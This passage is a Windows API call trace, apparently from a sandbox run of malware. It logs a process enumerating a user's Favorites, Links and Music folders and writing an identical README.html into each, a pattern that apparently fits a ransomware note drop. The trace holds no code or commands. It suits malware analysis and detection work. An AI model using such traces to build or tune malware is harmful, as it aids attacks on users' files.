	[0076.121] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1
	[0076.121] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1
	[0076.121] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1
	[0076.121] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0076.121] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0076.122] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.123] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed30 | out: lpMode=0x127eed30) returned 0
	[0076.123] WriteFile (in: hFile=0xc0, lpBuffer=0x12798000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed20, lpOverlapped=0x0 | out: lpBuffer=0x12798000*, lpNumberOfBytesWritten=0x127eed20*=0xc5a, lpOverlapped=0x0) returned 1
	[0076.124] CloseHandle (hObject=0xc0) returned 1
	[0076.124] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123ce160*, nNumberOfCharsToWrite=0x55, lpNumberOfCharsWritten=0x127ee8b0, lpReserved=0x0 | out: lpBuffer=0x123ce160*, lpNumberOfCharsWritten=0x127ee8b0*=0x55) returned 1
	[0076.126] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), fInfoLevelId=0x0, lpFileInformation=0x123fcd28 | out: lpFileInformation=0x123fcd28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1
	[0076.126] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), fInfoLevelId=0x0, lpFileInformation=0x123fcd78 | out: lpFileInformation=0x123fcd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1
	[0076.126] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), fInfoLevelId=0x0, lpFileInformation=0x123fcdc8 | out: lpFileInformation=0x123fcdc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1
	[0076.126] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), fInfoLevelId=0x0, lpFileInformation=0x123fce18 | out: lpFileInformation=0x123fce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1
	[0076.126] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), fInfoLevelId=0x0, lpFileInformation=0x123fce68 | out: lpFileInformation=0x123fce68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86)) returned 1
	[0076.127] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live"), fInfoLevelId=0x0, lpFileInformation=0x123fceb8 | out: lpFileInformation=0x123fceb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0076.127] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0076.127] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0076.128] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.128] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1
	[0076.128] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1
	[0076.128] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1
	[0076.128] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1
	[0076.128] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0076.128] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0076.129] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), fInfoLevelId=0x0, lpFileInformation=0x123fd048 | out: lpFileInformation=0x123fd048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1
	[0076.130] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), fInfoLevelId=0x0, lpFileInformation=0x123fd098 | out: lpFileInformation=0x123fd098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1
	[0076.130] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), fInfoLevelId=0x0, lpFileInformation=0x123fd0e8 | out: lpFileInformation=0x123fd0e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1
	[0076.130] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), fInfoLevelId=0x0, lpFileInformation=0x123fd138 | out: lpFileInformation=0x123fd138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1
	[0076.130] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fd188 | out: lpFileInformation=0x123fd188*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192)) returned 1
	[0076.131] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links"), fInfoLevelId=0x0, lpFileInformation=0x123fd1d8 | out: lpFileInformation=0x123fd1d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0076.131] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0076.131] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0076.131] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.132] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0076.132] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1
	[0076.132] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1
	[0076.132] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1
	[0076.132] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0076.132] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0076.132] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.132] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0076.132] WriteFile (in: hFile=0xc0, lpBuffer=0x12798c80*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x12798c80*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0076.133] CloseHandle (hObject=0xc0) returned 1
	[0076.134] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123bc400*, nNumberOfCharsToWrite=0x3e, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x123bc400*, lpNumberOfCharsWritten=0x127ee914*=0x3e) returned 1
	[0076.135] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\desktop.lnk"), fInfoLevelId=0x0, lpFileInformation=0x123fd368 | out: lpFileInformation=0x123fd368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6)) returned 1
	[0076.135] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\downloads.lnk"), fInfoLevelId=0x0, lpFileInformation=0x123fd3b8 | out: lpFileInformation=0x123fd3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1)) returned 1
	[0076.135] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\recentplaces.lnk"), fInfoLevelId=0x0, lpFileInformation=0x123fd408 | out: lpFileInformation=0x123fd408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b)) returned 1
	[0076.135] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fd458 | out: lpFileInformation=0x123fd458*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244)) returned 1
	[0076.135] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\local settings"), fInfoLevelId=0x0, lpFileInformation=0x123fd4a8 | out: lpFileInformation=0x123fd4a8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0076.136] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music"), fInfoLevelId=0x0, lpFileInformation=0x123fd4f8 | out: lpFileInformation=0x123fd4f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xebb642c0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xebb642c0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0076.136] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0076.136] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xebb642c0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xebb642c0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
